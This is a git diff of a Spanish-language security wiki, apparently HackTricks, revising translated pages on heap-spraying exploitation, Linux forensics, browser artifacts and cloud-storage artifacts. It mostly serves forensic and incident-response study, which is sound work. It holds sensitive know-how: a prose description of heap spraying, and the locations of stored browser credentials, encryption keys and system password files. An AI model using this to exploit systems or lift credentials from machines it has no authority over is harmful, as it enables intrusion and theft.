||||
Consiste en reservar toda la memoria posible para heaps y rellenarlos con nops seguidos de una shellcode. Se intenta saltar a la dirección 0x0c0c0c0c, esperando que haya nops allí.
|
||||
Consiste en reservar toda la memoria posible para heaps y rellenarlos con nops y una shellcode. Se intenta saltar a la dirección 0x0c0c0c0c, esperando que allí haya nops.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Se sementa la memoria reservando y liberando trozos para dejar trozos reservados entre trozos libres. El buffer a desbordar se sitúa en uno de los huecos.
|
||||
Se sementa la memoria con reservas y liberaciones para dejar trozos reservados entre trozos libres. El buffer a desbordar se sitúa en uno de los huecos.
|
||||
|
||||
## Cursos interesantes
|
||||
|
||||
|
@ -921,17 +628,3 @@ Se sementa la memoria reservando y liberando trozos para dejar trozos reservados
|
|||
## **Referencias**
|
||||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# Forense en Linux
|
||||
# Forense de Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Accede hoy mismo:
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Acceda hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,7 +26,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
### Información Básica
|
||||
|
||||
En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puedes simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego monta la USB y modifica las variables de entorno para usar esos binarios:
|
||||
En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puede simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para usar esos binarios:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -58,7 +59,7 @@ Mientras se obtiene la información básica, se debe verificar cosas extrañas c
|
|||
|
||||
### Volcado de memoria
|
||||
|
||||
Para obtener la memoria del sistema en ejecución, se recomienda utilizar [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -66,22 +67,22 @@ Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, y
|
|||
{% endhint %}
|
||||
|
||||
Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
|
||||
En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compila** LiME usando esos encabezados:
|
||||
En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente puedes **copiar el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compilar** LiME usando esos encabezados:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME soporta 3 **formatos**:
|
||||
|
||||
* Raw (cada segmento concatenado)
|
||||
* Padded (igual que raw, pero con ceros en los bits derechos)
|
||||
* Crudo (cada segmento concatenado)
|
||||
* Acolchado (igual que crudo, pero con ceros en los bits derechos)
|
||||
* Lime (formato recomendado con metadatos)
|
||||
|
||||
LiME también se puede utilizar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
|
||||
|
||||
### Creación de imagen de disco
|
||||
### Imagen de disco
|
||||
|
||||
#### Apagar
|
||||
#### Apagado
|
||||
|
||||
En primer lugar, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
|
||||
Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desconectar el enchufe"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desconectar el enchufe" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desconecta el enchufe.
|
||||
|
@ -152,10 +153,10 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -200,10 +201,10 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -236,7 +237,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
|
||||
Rutas donde un malware podría estar instalado como un servicio:
|
||||
|
||||
- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiéndose a scripts de inicio.
|
||||
- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo a scripts de inicio adicionales.
|
||||
- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux.
|
||||
- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
|
||||
- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
|
||||
|
@ -258,8 +259,8 @@ Los módulos del kernel de Linux, a menudo utilizados por malware como component
|
|||
|
||||
Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Ejecutado para cualquier inicio de sesión de usuario.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
|
||||
- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario.
|
||||
|
||||
## Examinar Registros
|
||||
|
@ -274,7 +275,7 @@ Los sistemas Linux registran las actividades de los usuarios y los eventos del s
|
|||
- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
|
||||
- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos.
|
||||
- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad.
|
||||
- **/var/log/cron**: Registra la ejecución de trabajos cron.
|
||||
- **/var/log/cron**: Registra ejecuciones de trabajos cron.
|
||||
- **/var/log/daemon.log**: Realiza un seguimiento de las actividades de servicios en segundo plano.
|
||||
- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
|
||||
- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
|
||||
|
@ -296,7 +297,7 @@ Los registros del sistema y los subsistemas de auditoría de Linux pueden estar
|
|||
|
||||
Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados.
|
||||
|
||||
Revisa archivos que pueden otorgar privilegios adicionales:
|
||||
Revisa archivos que puedan otorgar privilegios adicionales:
|
||||
|
||||
- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados.
|
||||
- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados.
|
||||
|
@ -311,7 +312,7 @@ Algunas aplicaciones también generan sus propios registros:
|
|||
- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
|
||||
- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos.
|
||||
- **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que podrían ser no autorizadas.
|
||||
- **MySQL**: Investiga _\~/.mysql\_history_ para consultas de MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos.
|
||||
- **MySQL**: Investiga _\~/.mysql\_history_ para consultas MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos.
|
||||
- **Less**: Analiza _\~/.lesshst_ para historial de uso, incluidos archivos vistos y comandos ejecutados.
|
||||
- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios.
|
||||
|
||||
|
@ -334,27 +335,27 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Más ejemplos e información dentro de github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
|
||||
|
||||
Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
|
||||
Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas cerca de eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
|
||||
Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\
|
||||
Finalmente, busca cuentas sin **contraseñas** o con contraseñas **fáciles de adivinar**.
|
||||
Finalmente, busca cuentas sin contraseñas o con contraseñas **fáciles de adivinar**.
|
||||
|
||||
## Examinar el Sistema de Archivos
|
||||
|
||||
### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware
|
||||
|
||||
Cuando se investigan incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
|
||||
En incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
|
||||
|
||||
Para contrarrestar estos métodos antiforense, es esencial:
|
||||
|
||||
|
@ -362,10 +363,10 @@ Para contrarrestar estos métodos antiforense, es esencial:
|
|||
* Investigar **scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
|
||||
* Examinar `/dev` en busca de archivos atípicos, ya que tradicionalmente contiene archivos especiales, pero podría contener archivos relacionados con malware.
|
||||
* Buscar archivos o directorios ocultos con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
|
||||
* Identificar archivos setuid root utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
|
||||
* Identificar archivos setuid de root utilizando el comando: `find / -user root -perm -04000 -print`. Esto encuentra archivos con permisos elevados que podrían ser abusados por atacantes.
|
||||
* Revisar las marcas de tiempo de eliminación en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
|
||||
* Inspeccionar inodos consecutivos en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos.
|
||||
* Verificar los directorios binarios comunes (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que podrían ser alterados por malware.
|
||||
* Verificar archivos modificados recientemente en directorios binarios comunes (_/bin_, _/sbin_), ya que podrían ser alterados por malware.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -401,7 +402,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* `D`: Archivos eliminados
|
||||
* `M`: Archivos modificados
|
||||
* `R`: Archivos renombrados
|
||||
* `T`: Cambios de tipo (por ejemplo, de archivo a enlace simbólico)
|
||||
* `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico)
|
||||
* `U`: Archivos no fusionados
|
||||
* `X`: Archivos desconocidos
|
||||
* `B`: Archivos rotos
|
||||
|
@ -421,13 +422,13 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram** o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
|
|
@ -14,7 +14,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -24,9 +24,9 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
## Artefactos de Navegadores <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, difiriendo en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
|
||||
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, con ubicaciones y nombres diferentes en cada navegador, pero generalmente almacenando tipos de datos similares.
|
||||
|
||||
Aquí tienes un resumen de los artefactos de navegador más comunes:
|
||||
Aquí tienes un resumen de los artefactos más comunes del navegador:
|
||||
|
||||
* **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
|
||||
* **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combina con el historial de navegación.
|
||||
|
@ -37,13 +37,13 @@ Aquí tienes un resumen de los artefactos de navegador más comunes:
|
|||
* **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para obtener información adicional sobre las visitas del usuario.
|
||||
* **Sesiones del Navegador**: Datos relacionados con las sesiones del navegador abiertas.
|
||||
* **Descargas**: Registros de archivos descargados a través del navegador.
|
||||
* **Datos de Formularios**: Información ingresada en formularios web, guardada para sugerencias de autocompletar en el futuro.
|
||||
* **Datos de Formularios**: Información introducida en formularios web, guardada para sugerencias de autocompletar en el futuro.
|
||||
* **Miniaturas**: Imágenes de vista previa de sitios web.
|
||||
* **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
|
||||
Firefox organiza los datos del usuario en perfiles, almacenados en ubicaciones específicas según el sistema operativo:
|
||||
|
||||
* **Linux**: `~/.mozilla/firefox/`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
|
@ -63,11 +63,11 @@ Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
|
|||
* **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
|
||||
* **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Almacena favicons.
|
||||
* **prefs.js**: Configuraciones y preferencias del usuario.
|
||||
* **prefs.js**: Ajustes y preferencias del usuario.
|
||||
* **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
|
||||
* **thumbnails**: Miniaturas de sitios web.
|
||||
* **logins.json**: Información de inicio de sesión encriptada.
|
||||
* **key4.db** o **key3.db**: Almacena claves de cifrado para proteger información sensible.
|
||||
* **key4.db** o **key3.db**: Almacena claves de cifrado para asegurar información sensible.
|
||||
|
||||
Además, verificar la configuración de antiphishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
|
||||
|
||||
|
@ -150,8 +150,8 @@ Las URLs escritas y sus tiempos de uso se almacenan en el registro en `NTUSER.DA
|
|||
Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son:
|
||||
|
||||
* **Ruta del perfil**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **Historial, cookies y descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **Configuraciones, marcadores y lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **Historial, Cookies y Descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **Configuraciones, Marcadores y Lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **Caché**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
* **Últimas sesiones activas**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
|
@ -183,11 +183,11 @@ Estas rutas y comandos son cruciales para acceder y comprender los datos de nave
|
|||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **Libro: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -48,7 +48,7 @@ Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dire
|
|||
|
||||
## Dropbox
|
||||
|
||||
Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En estas\
|
||||
Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En esta\
|
||||
Puedes encontrar las bases de datos en las carpetas:
|
||||
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
|
@ -84,7 +84,7 @@ Luego puedes utilizar la herramienta [**DataProtectionDecryptor**](https://nirso
|
|||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
